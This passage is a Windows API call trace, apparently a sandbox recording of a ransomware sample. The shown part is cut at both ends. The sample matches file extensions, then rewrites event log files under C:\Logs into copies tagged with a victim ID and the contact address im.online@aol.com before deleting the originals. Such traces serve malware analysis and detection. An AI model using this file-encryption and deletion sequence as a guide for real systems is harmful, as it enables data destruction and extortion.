(lpString=".ppt") returned 4 [0224.995] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.995] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0224.995] lstrlenW (lpString=".zip") returned 4 [0224.995] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.995] lstrlenW (lpString=".rar") returned 4 [0224.995] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.996] lstrlenW (lpString=".bz2") returned 4 [0224.996] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.996] lstrlenW (lpString=".7z") returned 3 [0224.996] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0224.996] lstrlenW (lpString=".dbf") returned 4 [0224.996] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0224.996] lstrlenW (lpString=".1cd") returned 4 [0224.996] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0224.996] lstrlenW (lpString=".jpg") returned 4 [0224.996] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0224.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0224.996] lstrlenW (lpString=".doc") returned 4 [0224.996] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.996] lstrlenW (lpString=".docx") returned 5 [0224.996] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.996] lstrlenW (lpString=".pdf") returned 4 [0224.996] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.996] lstrlenW (lpString=".xls") returned 4 [0224.996] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.996] lstrlenW (lpString=".xlsx") returned 5 [0224.996] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.996] lstrlenW (lpString=".ppt") returned 4 [0224.996] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0224.996] lstrlenW (lpString=".zip") returned 4 [0224.996] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.997] lstrlenW (lpString=".rar") returned 4 [0224.997] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.997] lstrlenW (lpString=".bz2") returned 4 [0224.997] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.997] lstrlenW (lpString=".7z") returned 3 [0224.997] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0224.997] lstrlenW (lpString=".dbf") returned 4 [0224.997] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0224.997] lstrlenW (lpString=".1cd") returned 4 [0224.997] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0224.997] lstrlenW (lpString=".jpg") returned 4 [0224.997] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.997] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0224.997] lstrlenW (lpString="Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 50 [0224.997] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0224.998] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=69632) returned 1 [0224.998] CloseHandle (hObject=0x3bc) returned 1 [0224.998] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20 [0224.998] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.998] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0224.998] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.998] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.998] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0225.278] GetLastError () returned 0x0 [0225.278] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x11000, lpOverlapped=0x0) returned 1 [0225.326] WriteFile (in: hFile=0x440, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11010, lpOverlapped=0x0) returned 1 [0225.329] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0225.329] WriteFile (in: hFile=0x440, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x138, lpOverlapped=0x0) returned 1 [0225.329] SetEndOfFile (hFile=0x440) returned 1 [0225.339] CloseHandle (hObject=0x440) returned 1 [0225.348] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.349] SetEndOfFile (hFile=0x3bc) returned 1 [0225.350] CloseHandle (hObject=0x3bc) returned 1 [0225.350] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0225.351] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 1 [0225.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0225.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0225.364] lstrlenW (lpString=".doc") returned 4 [0225.364] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0225.364] lstrlenW (lpString=".docx") returned 5 [0225.364] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0225.364] lstrlenW (lpString=".pdf") returned 4 [0225.364] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0225.364] lstrlenW (lpString=".xls") returned 4 [0225.364] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0225.364] lstrlenW (lpString=".xlsx") returned 5 [0225.364] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0225.364] lstrlenW (lpString=".ppt") returned 4 [0225.364] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0225.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0225.364] lstrlenW (lpString=".zip") returned 4 [0225.364] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0225.364] lstrlenW (lpString=".rar") returned 4 [0225.364] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0225.364] lstrlenW (lpString=".bz2") returned 4 [0225.364] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0225.364] lstrlenW (lpString=".7z") returned 3 [0225.364] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0225.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0225.365] lstrlenW (lpString=".dbf") returned 4 [0225.365] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0225.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0225.365] lstrlenW (lpString=".1cd") returned 4 [0225.365] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0225.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0225.365] lstrlenW (lpString=".jpg") returned 4 [0225.365] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0225.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0225.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0225.365] lstrlenW (lpString=".doc") returned 4 [0225.365] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0225.365] lstrlenW (lpString=".docx") returned 5 [0225.365] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0225.365] lstrlenW (lpString=".pdf") returned 4 [0225.365] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0225.365] lstrlenW (lpString=".xls") returned 4 [0225.365] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0225.365] lstrlenW (lpString=".xlsx") returned 5 [0225.365] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0225.365] lstrlenW (lpString=".ppt") returned 4 [0225.365] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0225.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0225.365] lstrlenW (lpString=".zip") returned 4 [0225.365] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0225.365] lstrlenW (lpString=".rar") returned 4 [0225.365] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0225.365] lstrlenW (lpString=".bz2") returned 4 [0225.366] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0225.366] lstrlenW (lpString=".7z") returned 3 [0225.366] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0225.366] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0225.366] lstrlenW (lpString=".dbf") returned 4 [0225.366] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0225.366] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0225.366] lstrlenW (lpString=".1cd") returned 4 [0225.366] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0225.366] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0225.366] lstrlenW (lpString=".jpg") returned 4 [0225.366] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0225.366] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0225.366] lstrlenW (lpString="Microsoft-Windows-Ntfs%4Operational.evtx") returned 40 [0225.366] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0225.373] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=69632) returned 1 [0225.373] CloseHandle (hObject=0x3bc) returned 1 [0225.373] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20 [0225.373] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0225.373] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0225.373] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.373] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.373] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0225.381] GetLastError () returned 0x0 [0225.381] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x11000, lpOverlapped=0x0) returned 1 [0225.400] WriteFile (in: hFile=0x440, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11010, lpOverlapped=0x0) returned 1 [0225.403] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0225.403] WriteFile (in: hFile=0x440, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x124, lpOverlapped=0x0) returned 1 [0225.403] SetEndOfFile (hFile=0x440) returned 1 [0225.403] CloseHandle (hObject=0x440) returned 1 [0226.126] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.126] SetEndOfFile (hFile=0x3bc) returned 1 [0226.127] CloseHandle (hObject=0x3bc) returned 1 [0226.128] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.128] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 1 [0226.129] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0226.129] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0226.129] lstrlenW (lpString=".doc") returned 4 [0226.129] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.129] lstrlenW (lpString=".docx") returned 5 [0226.129] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.129] lstrlenW (lpString=".pdf") returned 4 [0226.129] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.129] lstrlenW (lpString=".xls") returned 4 [0226.129] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.129] lstrlenW (lpString=".xlsx") returned 5 [0226.129] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.129] lstrlenW (lpString=".ppt") returned 4 [0226.129] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.129] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0226.129] lstrlenW (lpString=".zip") returned 4 [0226.130] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.130] lstrlenW (lpString=".rar") returned 4 [0226.130] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.130] lstrlenW (lpString=".bz2") returned 4 [0226.130] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.130] lstrlenW (lpString=".7z") returned 3 [0226.130] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0226.130] lstrlenW (lpString=".dbf") returned 4 [0226.130] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0226.130] lstrlenW (lpString=".1cd") returned 4 [0226.130] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0226.130] lstrlenW (lpString=".jpg") returned 4 [0226.130] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0226.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0226.130] lstrlenW (lpString=".doc") returned 4 [0226.130] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.130] lstrlenW (lpString=".docx") returned 5 [0226.130] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.130] lstrlenW (lpString=".pdf") returned 4 [0226.130] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.130] lstrlenW (lpString=".xls") returned 4 [0226.130] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.130] lstrlenW (lpString=".xlsx") returned 5 [0226.131] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.131] lstrlenW (lpString=".ppt") returned 4 [0226.131] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0226.131] lstrlenW (lpString=".zip") returned 4 [0226.131] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.131] lstrlenW (lpString=".rar") returned 4 [0226.131] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.131] lstrlenW (lpString=".bz2") returned 4 [0226.131] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.131] lstrlenW (lpString=".7z") returned 3 [0226.131] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0226.131] lstrlenW (lpString=".dbf") returned 4 [0226.131] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0226.131] lstrlenW (lpString=".1cd") returned 4 [0226.131] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0226.131] lstrlenW (lpString=".jpg") returned 4 [0226.131] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.131] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.131] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4Operational.evtx") returned 46 [0226.132] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0226.132] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=69632) returned 1 [0226.132] CloseHandle (hObject=0x3bc) returned 1 [0226.132] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20 [0226.132] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.132] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0226.133] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.133] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.133] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0226.133] GetLastError () returned 0x0 [0226.134] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.195] WriteFile (in: hFile=0x404, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11010, lpOverlapped=0x0) returned 1 [0226.198] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.198] WriteFile (in: hFile=0x404, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x130, lpOverlapped=0x0) returned 1 [0226.198] SetEndOfFile (hFile=0x404) returned 1 [0226.206] CloseHandle (hObject=0x404) returned 1 [0226.210] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.210] SetEndOfFile (hFile=0x3bc) returned 1 [0226.211] CloseHandle (hObject=0x3bc) returned 1 [0226.211] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.211] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 1 [0226.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0226.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0226.212] lstrlenW (lpString=".doc") returned 4 [0226.212] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.212] lstrlenW (lpString=".docx") returned 5 [0226.212] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.212] lstrlenW (lpString=".pdf") returned 4 [0226.212] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.212] lstrlenW (lpString=".xls") returned 4 [0226.212] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.212] lstrlenW (lpString=".xlsx") returned 5 [0226.212] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.212] lstrlenW (lpString=".ppt") returned 4 [0226.212] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0226.212] lstrlenW (lpString=".zip") returned 4 [0226.212] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.212] lstrlenW (lpString=".rar") returned 4 [0226.212] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.212] lstrlenW (lpString=".bz2") returned 4 [0226.212] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.212] lstrlenW (lpString=".7z") returned 3 [0226.212] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0226.213] lstrlenW (lpString=".dbf") returned 4 [0226.213] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0226.213] lstrlenW (lpString=".1cd") returned 4 [0226.213] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0226.213] lstrlenW (lpString=".jpg") returned 4 [0226.213] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0226.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0226.213] lstrlenW (lpString=".doc") returned 4 [0226.213] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.213] lstrlenW (lpString=".docx") returned 5 [0226.213] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.213] lstrlenW (lpString=".pdf") returned 4 [0226.213] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.213] lstrlenW (lpString=".xls") returned 4 [0226.213] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.213] lstrlenW (lpString=".xlsx") returned 5 [0226.213] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.213] lstrlenW (lpString=".ppt") returned 4 [0226.213] lstrcmpiW 